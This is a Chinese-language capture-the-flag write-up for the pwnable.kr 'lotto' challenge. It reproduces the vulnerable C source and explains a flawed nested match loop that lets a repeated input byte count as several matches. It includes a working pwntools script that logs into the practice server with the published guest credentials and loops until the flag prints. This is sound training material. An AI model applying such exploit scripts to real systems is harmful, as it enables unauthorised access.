• 【pwnable.kr】lotto


    pwnable。好像最近的几道题都不需要看汇编。

    ssh lotto@pwnable.kr -p2222 (pw:guest)

    直接down下来源码

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    
    unsigned char submit[6];
    
    void play(){
        
        int i;
        printf("Submit your 6 lotto bytes : ");
        fflush(stdout);
    
        int r;
        r = read(0, submit, 6);
    
        printf("Lotto Start!
    ");
        //sleep(1);
    
        // generate lotto numbers
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1){
            printf("error. tell admin
    ");
            exit(-1);
        }
        unsigned char lotto[6];
        if(read(fd, lotto, 6) != 6){
            printf("error2. tell admin
    ");
            exit(-1);
        }
        for(i=0; i<6; i++){
            lotto[i] = (lotto[i] % 45) + 1;        // 1 ~ 45
        }
        close(fd);
        
        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i<6; i++){
            for(j=0; j<6; j++){
                if(lotto[i] == submit[j]){
                    match++;
                }
            }
        }
    
        // win!
        if(match == 6){
            system("/bin/cat flag");
        }
        else{
            printf("bad luck...
    ");
        }
    
    }
    
    void help(){
        printf("- nLotto Rule -
    ");
        printf("nlotto is consisted with 6 random natural numbers less than 46
    ");
        printf("your goal is to match lotto numbers as many as you can
    ");
        printf("if you win lottery for *1st place*, you will get reward
    ");
        printf("for more details, follow the link below
    ");
        printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01
    
    ");
        printf("mathematical chance to win this game is known to be 1/8145060.
    ");
    }
    
    int main(int argc, char* argv[]){
    
        // menu
        unsigned int menu;
    
        while(1){
    
            printf("- Select Menu -
    ");
            printf("1. Play Lotto
    ");
            printf("2. Help
    ");
            printf("3. Exit
    ");
    
            scanf("%d", &menu);
    
            switch(menu){
                case 1:
                    play();
                    break;
                case 2:
                    help();
                    break;
                case 3:
                    printf("bye
    ");
                    return 0;
                default:
                    printf("invalid menu
    ");
                    break;
            }
        }
        return 0;
    }

    看到随机数是从 /dev/urandom中取出的,搜了一下,发现这个是伪随机。

    最开始的想法是直接找到第一个爆破一下,发现爆破难度还是挺大的,因为每次运行都是不一样的,这个是系统自行维护的。

    找一下源代码吧。

        for(i=0; i<6; i++){
            for(j=0; j<6; j++){
                if(lotto[i] == submit[j]){
                    match++;
                }
            }

    这部分乍一看好像没问题,循环6*6次,找到6次一样的就够了。

    大致想想好像没啥问题,但是总觉得不对,如果这样输入6个1,当产生的lotto[6]中有一个是1就bypass了。

    上脚本验证一下:

    from pwn import *
    s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
    pro = s.process('/home/lotto/lotto')
    print pro.recv()
    pro.sendline('1')
    print pro.recv()
    str1 = ""
    str1 += chr(1)+chr(1)+chr(1)+chr(1)+chr(1)+chr(6)
    pro.sendline(str1)
    revcstr =  pro.recv()
    print len(revcstr),revcstr
    #exit()
    
    while 1:
        pro.sendline('1')
        print pro.recv()
        pro.sendline(str1)
        a =  pro.recv()
        if len(a)>71: #71是先验知识,指输入错误返回字符串的长度,就是下面字符串的长度
            print a
            break
        #pass
    '''

    Lotto Start!
    bad luck...
    - Select Menu -
    1. Play Lotto
    2. Help
    3. Exit


    '''

    运行一下:

  • 相关阅读:
    Oracle EXTRACT()函数与to_char() 函数
    Java内部类
    SQL 之 Group By
    Android LayoutInflater布局填充器
    JS 图片转Base64
    C# 事件与委托的区别
    AngularJS的循环输出
    jquery实现button倒计时
    重新理解B/S和C/S的区别
    HashMap与HashTable
  • 原文地址:https://www.cnblogs.com/p4nda/p/7146355.html
Copyright © 2020-2023  润新知